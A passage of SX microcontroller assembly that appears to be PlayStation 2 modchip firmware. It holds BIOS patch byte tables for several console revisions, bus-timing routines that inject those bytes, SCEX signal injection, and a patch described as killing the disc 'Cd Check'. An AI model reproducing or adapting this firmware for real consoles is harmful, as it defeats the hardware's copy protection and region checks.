patching here once sync call BIOS_WAIT_OE_LO_P1 mov w,#$0 ;send 00,00,00,00 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P1 mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; IO_BIOS_DATA all pins input patch end for more sync ;************************************************************************************************ ;New mode select for PSX/DEV mode : ;Check RESET for about 4 sec ( 2 =initial delay + 2 from this routine ) ;if exit before then enter PSX mode , else wait for reset release and wait again for ;10 sec. If RESET is pressed again within 10 sec. then enter DEV mode else ;definitively SLEEP chip for all media that no need patch ( VIDEO , MUSIC , ORIGINALS ). ;************************************************************************************************ ;TEST_RESET MODE_SELECT_START mov w,#10;$a ; 10x100ms ;test RESET for about 1sec mov VAR_DC2,w ;test_l1 MODE_SELECT_TIMER_L1 call DELAY100m snb IO_REST jmp HOLD_BOOT_MODES decsz VAR_DC2 ; repeat n jump to HOLD_BOOT_MODES if under 1sec so tap 1+1=2sec jmp MODE_SELECT_TIMER_L1 MODE_SELECT_TIMER_L2 sb IO_REST ;wait RESET release for PS1_MODE jmp MODE_SELECT_TIMER_L2 mov w,#5;$5 ;debounce RESET for about 0.5 sec buffer for not exact 2sec hold mov VAR_DC2,w ;test_l2 MODE_SELECT_TIMER_L3 call DELAY100m ;test RESET again for about 10.0 sec. decsz VAR_DC2 jmp MODE_SELECT_TIMER_L3 mov w,#100;$64 ;100 mov VAR_DC2,w ;100+25=125 12.5secs ;test_l3 DISABLE_MODE call DELAY100m ;10secs = DISABLE_MODE but 2.5secs for retap of reset for DEV1 sb IO_REST ;resetted ...enter DEV mode page $0600 jmp DEV1_MODE_LOAD_START decsz VAR_DC2 jmp DISABLE_MODE ;...sleep chip , can't wake up without put PS2 into stby sleep ;RESET0 TAP_BOOT_MODE clr fsr clrb PSX_FLAG ;RESET_DOWN HOLD_BOOT_MODES snb DEV1_FLAG ;reenter dev mode if rest in dev mode page $0600 jmp DEV1_MODE_LOAD_START setb SOFT_RST ;soft reset may need more than 1 disk patch he he he .... clrb EJ_FLAG setb X_FLAG ;first XMAN patch flag clrb V12LOGO_FLAG ;clear V12 logo flag patch page $0200 jmp PS2_MODE_START ;PS2 osd patch or PS1DRV init... (based on psx_flag status) ;--------------------------------------------------------------------- ;PS2 : continue patch after OSDSYS & wait for disk ready... ;--------------------------------------------------------------------- ;PS2_PATCH2 CHECK_IF_START_PS2LOGO clr fsr sb PSX_FLAG page $0400 jmp START_PS2LOGO_PATCH_LOAD ; sb PSX_FLAG ;;; should be able to drop as flows even if bit not set ; jmp TRAY_IS_EJECTED ;;; ;CDDVD_EJECTED TRAY_IS_EJECTED sb IO_REST ;here from eject jmp TAP_BOOT_MODE ;reset ? snb IO_EJECT jmp TRAY_IS_EJECTED ;wait for tray closed... ;wait for bios cs inactive ( fix for 5 bit bus and cd boot ) ;DELAY1s RESUME_MODE_FROM_EJECT mov w,#5;$5 ;Precise delay routine using RTCC mov VAR_DC2,w ;ld_del0 RESUME_MODE_FROM_EJECT_L1 mov w,#100;$64 ;delay = 100 millisec. mov VAR_DC1,w ;ld_del RESUME_MODE_FROM_EJECT_L2 mov w,#61;59;$3b ;load timer=61,delay = (256-61)2560.02 micros.= 1000 micros. mov rtcc,w ;ld_del1 RESUME_MODE_FROM_EJECT_L3 sb IO_BIOS_CS ;wait again 500msec if bios cs active jmp RESUME_MODE_FROM_EJECT sb IO_REST ;new reset check here ... jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED ; mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z jmp RESUME_MODE_FROM_EJECT_L3 decsz VAR_DC1 jmp RESUME_MODE_FROM_EJECT_L2 decsz VAR_DC2 jmp RESUME_MODE_FROM_EJECT_L1 call SET_INTRPT ;better here .... clr fsr snb DEV1_FLAG page $0600 jmp START_CDDVD_PATCH ;patch media for DEVMODE mov w,#2;$2 mov VAR_DC4,w mov w,#$32 ;ASCI 2 mov w,VAR_BIOS_YR-w ; is 2002 Year console snb z jmp CONSOLE_2002_JMP ;# of ps2logo patch for PS2 V7 mov w,#1;$1 mov VAR_DC4,w ;MEPATCH CONSOLE_2002_JMP page $0600 IFDEF H2O75KJMPERS clrb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_f setb JAP_V8 ENDIF IFDEF JAPv14orv8 setb JAP_V8 ENDIF jmp START_CDDVD_PATCH ;patch ps2 CD/DVD ;------------------------------------------------------------------------- ;NEW NEW NEW patch psx game... and some protected too ;------------------------------------------------------------------------- ;PSX_PATCH PS1_MODE_START_PATCH clr fsr clrb SCEX_FLAG mov w,#$ff mov VAR_PSX_TEMP,w ;autosend correct # of SCEX (max value help bad optics) ;) ;psx_ptc_l0 RUN_PS1_SCEX_INJECT call SEND_SCEX snb SCEX_FLAG jmp PS1_SCEX_INJECT_COMPLETE decsz VAR_PSX_TEMP ; loop sending SCEX jmp RUN_PS1_SCEX_INJECT page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;DRVPTC PS1_SCEX_INJECT_COMPLETE snb EJ_FLAG jmp RUN_PS1_SCEX_INJECT ;send all scex after bios patch then sleep mov w,#2;$2 mov VAR_DC4,w ;# of PS1DRV patch for PS2 V7 mov w,#$32 mov w,VAR_BIOS_YR-w snb z jmp PS1_IS_V14orV1toV12PALorNTSC mov w,#1;$1 mov VAR_DC4,w ;DRV PS1_IS_V14orV1toV12PALorNTSC snb V14_FLAG ; check if V14_FLAG set meaning v14/75k decka jmp PS1_V14_PATCH snb UK_FLAG ; fix for ntsc/pal ps1 route v1-12 page $0400 jmp PS1_CONSOLE_PAL_YFIX ; jmp to pal start if pal console page $0400 jmp PS1_CONSOLE_ALL_JMPNTSC ; fall over to ntsc start if no pal flag set ;V14DRV1 PS1_V14_PATCH mov w,#49;$31 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$40 mov VAR_PSX_TEMP,w mov w,#$1b mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w page $0400 jmp PS1_MODE_START ;exec psxdrv patch + logo1 + set EJect flag and ret to PSX_PATCH org $0200 ; PAGE2 200-3FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P2 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_WAIT_OE_LO_P2 ; next byte / wait for bios OE low ret ;--------------------------------------------------------- ; NEW BIOS PATCH ROUT ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- RUN_BIOS_PATCHES_SRAM ;-------------------------------------------------------------------------------- IFDEF SX48RAM mov w,indf mov IO_BIOS_DATA,w inc fsr RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP decsz VAR_DC2 jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE jmp END_BIOS_PATCHES_SRAM_RESET_IO mov w,#$ff mov !IO_BIOS_DATA,w clr fsr retp ELSE mov w,indf ; SRAM address moved to w and output to IO_BIOS_DATA mov IO_BIOS_DATA,w inc fsr ; +1 to step through the SRAM cached patches mov w,#$10 ; 10h or so always in SRAM address section 6.2.1 or fsr,w ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h RUN_BIOS_PATCHES_SRAM_SENDLOOP snb IO_BIOS_OE ; next byte / wait for bios OE low jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP ; jmp RUN_BIOS_PATCHES_SRAM_SENDLOOP if IO_BIOS_OE high decsz VAR_DC2 ; loop calling of SRAM cache till VAR_DC2=0 then patch finished, VAR_DC2 set in loading of call here for ea patch jmp RUN_BIOS_PATCHES_SRAM END_BIOS_PATCHES_SRAM_RESET_IO sb IO_BIOS_OE ; next byte / wait for bios OE high jmp END_BIOS_PATCHES_SRAM_RESET_IO ; jmp END_BIOS_PATCHES_SRAM_RESET_IO if IO_BIOS_OE high mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ; all pins Hi-Z input clr fsr ;moved here ! retp ; patching done. Return from call ENDIF ;---------------------------------------------------------- ;Patch PS2 game... ;---------------------------------------------------------- ;-------------------------------------------------------------------------------- BIOS_PATCH_DATA ;osdsys ;-------------------------------------------------------------------------------- jmp pc+w ;V134 retw $23 retw $80 retw $ac retw $c retw $0 retw $0 retw $0 ;VX retw $24 ; 7 retw $10 retw $3c retw $e4 retw $24 retw $80 retw $ac retw $e4 retw $22 retw $90 retw $ac retw $84 retw $bc mov w,#79;$4f mov VAR_DC3,w ;79 ; #### ber jmp BIOS_PATCH_DATA_PART2_ALL ;V9 retw $24 ; 23 retw $10 retw $3c retw $74 retw $2a retw $80 retw $ac retw $74 retw $28 retw $90 retw $ac retw $bc retw $d3 mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V14 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $78 retw $2d retw $80 retw $ac retw $40 retw $2b retw $90 retw $ac retw $a0 retw $ff mov w,#79;$4f mov VAR_DC3,w jmp BIOS_PATCH_DATA_PART2_ALL ;V10-12 retw $24 ; 39 +8 = 47 retw $10 retw $3c retw $e4 retw $2c retw $80 retw $ac retw $f4 retw $2a retw $90 retw $ac snb V12_FLAG jmp V12_CONSOLE_20_BIOS_JMP mov w,#70;$46 mov VAR_DC3,w ; 54 + 16 = 70 retw $a4 retw $ec mov w,#79;$4f mov VAR_DC3,w ; 63 + 16 = 79 jmp BIOS_PATCH_DATA_PART2_ALL ;v12 V12_CONSOLE_20_BIOS_JMP mov w,#77;$4d mov VAR_DC3,w ; 61 + 16 = 77 retw $c retw $f9 ;LOAD_END BIOS_PATCH_DATA_PART2_ALL retw $91 ; 63 + 8 = 71 ;;79 retw $34 retw $0 retw $0 retw $30 retw $ae retw $c retw $0 retw $0 retw $0 ;LOAD_PSX1D retw $c7 ; 73 retw $2 retw $34 retw $19 retw $19 retw $e2 retw $ba retw $11 retw $19 retw $e2 retw $ba ;V14 jmp back retw $3c ; 71 + 8 = 79 retw $c7 ; 73 retw $2 retw $34 IFDEF NTSCPS1YFIX75K retw $29 ;19pal/29ntsc yfix pal console ELSE retw $19;$29 ;19pal/29ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb IFDEF NTSCPS1YFIX75K retw $21 ;11pal/21ntsc yfix pal console ELSE retw $11;$21 ;11pal/21ntsc yfix pal console ENDIF retw $19 retw $c2 retw $bb retw $60 retw $9 retw $8 retw $8 ;PS2_PATCH PS2_MODE_START ;load osdsys data patch for PS2 mode or ps1drv data patch for PSX mode clr fsr sb PSX_FLAG jmp CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode selected , skip snb V14_FLAG page $0400 jmp PS2LOGO_PATCHLOAD_22_JMP1 mov w,#11;$b mov VAR_DC1,w ;psx mode : # of patch bytes mov w,#$59 ; 89 ;ps1drv data offset here ... jmp ALL_CONTIUNE_BIOS_PATCH ;:set_psx2 CHECK_IF_V1_v2or3_V4_V5to8 ;ps2 mode data offset clr fsr snb V14_FLAG jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if CHECK_V9to14_REV set meaning W v14/75k+ mov w,#$31 ;ascii 1 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 1 ;v1 snb z ;skip next line if doesnt = 0 meaning is 1 ascii jmp V1_CONSOLE_11_BIOS ;jmp V1_CONSOLE_11_BIOS if VAR_BIOS_REV did = 1 ascii mov w,#$32 ;ascii 2 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 2 ;v2-3 snb z ;skip next line if doesnt = 0 meaning is 2 ascii jmp V2or3_CONSOLE_12_BIOS ;jmp V2or3_CONSOLE_12_BIOS if VAR_BIOS_REV did = 2 ascii mov w,#$35 ;ascii 5 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 5 ;v4 snb z ;skip next line if doesnt = 0 meaning is 5 ascii jmp V4_CONSOLE_15_BIOS ;jmp V4_CONSOLE_15_BIOS if VAR_BIOS_REV did = 5 ascii jmp CHECK_V9to14_REV ;jmp CHECK_V9to14_REV if VAR_BIOS_REV didnt = 5 ascii ;:set_V1 V1_CONSOLE_11_BIOS mov w,#$c0 mov IO_BIOS_DATA,w mov w,#176;$b0 mov VAR_DC3,w mov w,#116;$74 mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V3 V2or3_CONSOLE_12_BIOS mov w,#$d8 mov IO_BIOS_DATA,w mov w,#64;$40 mov VAR_DC3,w mov w,#122;$7a mov VAR_DC4,w jmp V1to8_CONTIUNE ;:set_V4 V4_CONSOLE_15_BIOS mov w,#96;$60 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#12;$c mov IO_BIOS_DATA,w ;:set_P V1to8_CONTIUNE mov w,#7;$7 ; V5678 mov VAR_DC1,w mov VAR_DC2,w clr w jmp ALL_CONTIUNE_BIOS_PATCH ;:set_Vx CHECK_V9to14_REV mov w,#$2 mov IO_BIOS_DATA,w mov w,#23;$17 mov VAR_DC1,w mov VAR_DC2,w ; VAR_DC1 VAR_DC2 = 17h = 23 mov w,#$37 ;ascii 7 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 7 ;1.7bios v9-11 50k snb z jmp V9_CONSOLE_17_BIOS mov w,#$39 ;ascii 9 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 9 ;1.9bios v9-11 50k snb z jmp V9_CONSOLE_19_BIOS mov w,#$30 ;ascii 0 mov w,VAR_BIOS_REV-w ;does VAR_BIOS_REV = 0 ;2.0bios v12 snb z jmp V12_CONSOLE_20_BIOS mov w,#$32 mov w,VAR_BIOS_REV-w snb z jmp V14_CONSOLE_22_BIOS mov w,#48;$30 mov VAR_DC3,w mov w,#125;$7d mov VAR_DC4,w mov w,#7;$7 ; V5678 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V9 V9_CONSOLE_17_BIOS mov w,#4;$4 mov VAR_DC3,w mov w,#148;$94 mov VAR_DC4,w mov w,#23;$17 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V14 V14_CONSOLE_22_BIOS setb V10_FLAG setb V14_FLAG mov w,#212;$d4 mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#39;$27 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V10 V9_CONSOLE_19_BIOS setb V10_FLAG mov w,#100;$64 mov VAR_DC3,w mov w,#158;$9e mov VAR_DC4,w mov w,#55;$37 jmp ALL_CONTIUNE_BIOS_PATCH ;:set_V12 V12_CONSOLE_20_BIOS setb V10_FLAG setb V12_FLAG mov w,#124;$7c mov VAR_DC3,w mov w,#169;$a9 mov VAR_DC4,w mov w,#55;$37 ;:loopxx ALL_CONTIUNE_BIOS_PATCH snb DEV1_FLAG jmp SECONDBIOS_PATCH_DEV1_STACK mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;:loop LOAD_BIOS_PATCH_DATA mov w,VAR_DC3 call BIOS_PATCH_DATA mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp LOAD_BIOS_PATCH_DATA clr fsr snb PSX_FLAG page $0000 jmp TRAY_IS_EJECTED ;PS2_PATCH2 ;exit osd patch if psx mode selected ... ;:loop0 ; OSDSYS Wait for 60 00 04 08 ... fixed for V10 :) SECOND_BIOS_PATCH_SYNC snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC mov w,#$60 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP1 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP1 SECOND_BIOS_PATCH_SYNC_LOOP2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP3 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP3 SECOND_BIOS_PATCH_SYNC_LOOP4 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP4 mov w,#$4 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC SECOND_BIOS_PATCH_SYNC_LOOP5 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP5 SECOND_BIOS_PATCH_SYNC_LOOP6 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_LOOP6 mov w,#$8 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;----------------------------------------------------------- ; Patch data for bios OSDSYS ;----------------------------------------------------------- ;:loop1 SECOND_BIOS_PATCH_SYNC_P2 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P2 mov w,#$7 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P2 SECOND_BIOS_PATCH_SYNC_P3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P3 mov w,#$3 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 ;:loop66 SECOND_BIOS_PATCH_SYNC_P4 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4 SECOND_BIOS_PATCH_SYNC_P4_L1 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L1 mov w,#$24 mov w,IO_BIOS_DATA-w sb z jmp SECOND_BIOS_PATCH_SYNC_P3 SECOND_BIOS_PATCH_SYNC_P4_L2 sb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L2 mov !IO_BIOS_DATA,w SECOND_BIOS_PATCH_SYNC_P4_L3 snb IO_BIOS_OE jmp SECOND_BIOS_PATCH_SYNC_P4_L3 page $0200 call RUN_BIOS_PATCHES_SRAM snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START snb V12LOGO_FLAG page $0400 jmp PS1_MODE_SUCESSFUL_END ;logo patch for V12 page $0000 jmp CHECK_IF_START_PS2LOGO ;end of osd patch IFDEF SX48RAM ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$27;1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#$77 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV ;; this problem ??? mov w,#$2f;34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$4b;50 mov fsr,w mov w,#$20 mov indf,w mov w,#$4f;54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$55;5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$57;5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ELSE ;SETUPDEV SECONDBIOS_PATCH_DEV1_STACK mov w,#$1c mov fsr,w mov w,VAR_DC3 mov indf,w inc fsr mov w,VAR_DC4 mov indf,w clr fsr mov w,#$4 mov IO_BIOS_DATA,w mov w,#115;$73 mov VAR_DC2,w page $0200 jmp SECOND_BIOS_PATCH_SYNC SET_V14DRV mov w,#$34 mov fsr,w mov w,#$14 mov indf,w inc fsr mov w,#$2 mov indf,w mov w,#$50 mov fsr,w mov w,#$20 mov indf,w mov w,#$54 mov fsr,w mov w,#$5c mov indf,w inc fsr mov w,#$25 mov indf,w mov w,#$5a mov fsr,w mov w,#$8 mov indf,w mov w,#16;$10 mov VAR_DC1,w mov w,#100;$64 mov VAR_DC3,w mov w,#$5c mov fsr,w page $0200 ; PAGE2 jmp LOAD_BIOS_PATCH_DATA ENDIF ;---------------------------------------------------------- ;XCDVDMAN routine ;---------------------------------------------------------- ;IS_XCDVDMANX POST_PATCH_4_MODE_START page $0000 ; PAGE1 call SET_INTRPT ;IS_XCDVDMAN POST_PATCH_4_MODE_START2 snb DEV1_FLAG page $0600 jmp FINISHED_RUN_START_P2 mov w,#200;100;$64 ; 100 mov VAR_DC4,w ; 30-35 sec wait for BIOS ;IS_XCDVDMAN:loop4 POST_PATCH_4_MODE_START_L1 mov w,#255;$ff mov VAR_DC3,w ;IS_XCDVDMAN:loop3 POST_PATCH_4_MODE_START_L2 mov w,#255;$ff mov VAR_DC2,w ;IS_XCDVDMAN:loop2 POST_PATCH_4_MODE_START_L3 mov w,#255;$ff mov VAR_DC1,w ;IS_XCDVDMAN:loopx POST_PATCH_4_MODE_START_L4 sb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_P2 decsz VAR_DC1 jmp POST_PATCH_4_MODE_START_L4 decsz VAR_DC2 jmp POST_PATCH_4_MODE_START_L3 decsz VAR_DC3 jmp POST_PATCH_4_MODE_START_L2 decsz VAR_DC4 jmp POST_PATCH_4_MODE_START_L1 jmp PS2_MODE_RB_IO_SET_SLEEP ; no xcdvdman reload ... ;IS_XCDVDMAN:loop0 POST_PATCH_4_MODE_START_L5 snb IO_BIOS_CS jmp POST_PATCH_4_MODE_START_L4 ;IS_XCDVDMAN:loop1 POST_PATCH_4_MODE_START_P2 mov w,#$a2 ;sync A2 93 23 for V1-V10 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$93 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 call BIOS_WAIT_OE_LO_P2 mov w,#$34 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH_4_MODE_START_L5 ;XCDVDMAN clr fsr mov w,#7;$7 mov VAR_DC2,w mov w,#$8 mov IO_BIOS_DATA,w ;send 08 ;xcdvdman1_l0a POST_PATCH4MODE_START_P2_L1 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L1 mov w,#$27 ;27 18 00 A3 (A3) mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 call BIOS_WAIT_OE_LO_P2 mov w,#$a3 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L1 ; patch it ; Addr 00006A28 export 0x23(Cd Check) kill it ; 00006A28: 08 00 E0 03 jr ra ; 00006A2C: 00 00 00 00 nop snb X_FLAG ;first XMAN executed ! jmp POST_PATCH4MODE_END_P2 ;xcdvdman1_next IFDEF SX48RAM mov w,#$20;15 ELSE mov w,#$15 ENDIF mov fsr,w ;xcdvdman1_l1 POST_PATCH4MODE_START_P2_L2 snb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L2 nop mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp POST_PATCH4MODE_START_P2_L2 POST_PATCH4MODE_START_P2_L3 sb IO_BIOS_OE jmp POST_PATCH4MODE_START_P2_L3 mov !IO_BIOS_DATA,w POST_PATCH4MODE_END_P1 snb IO_BIOS_OE jmp POST_PATCH4MODE_END_P1 page $0200 call RUN_BIOS_PATCHES_SRAM sb EJ_FLAG page $0000 jmp TRAY_IS_EJECTED ;jump to EJECTED if no EJ_FLAG = first xman patch for originals jmp POST_PATCH_4_MODE_START2 ;? da verificare !!! ;again POST_PATCH4MODE_END_P2 clrb X_FLAG jmp POST_PATCH_4_MODE_START2 ;patch cddvdman & xcdvdman ;TO SLEEP ... , PERHARPS TO DREAM ... PS2_MODE_RB_IO_SET_SLEEP mode $000A ; XAh WKED_B Each register bit selects the edge sensitivity of the corresponding Port B input pin for MIWU operation. ;todo mov w,#$6 ; 0000 0110 Set the bit to 1 to sense falling (high-to-low) edges. mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense mode $0009 ; X9h Exchange WKPND_B clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; A bit set to 1 indicates that a valid edge has occurred on the corresponding MIWU pin, triggering a wakeup or interrupt. ; A bit set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ; XBh WKEN_B Multi-Input Wakeup/Interrupt (MIWU) function for the corresponding Port B input pin. ; Clear the bit to 0 to enable MIWU operation or set the bit to 1 to disable MIWU operation. snb PSX_FLAG ; jmp PS1_MODE_RB_IO_SET_SLEEP if PSX_FLAG is set jmp PS1_MODE_RB_IO_SET_SLEEP ; skip below io set and jmp PS1_MODE_RB_IO_SET_SLEEP mov w,#$f1 ; 1111 0001 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST rb.3 IO_EJECT enabled sleep PS1_MODE_RB_IO_SET_SLEEP mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enabled sleep org $0400 ; PAGE4 400-5FF ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P4 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P2 ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14 mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 LOGO2 retw $0 retw $0 retw $0 retw $0 PS2LOGO_PATCH_22_JMP2 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 ;60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 ;42 ;61 ;91 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w IFDEF SX48RAM mov w,#$20 ELSE mov w,#$15 ENDIF mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr IFDEF SX48RAM ELSE mov w,#$10 or fsr,w ENDIF inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 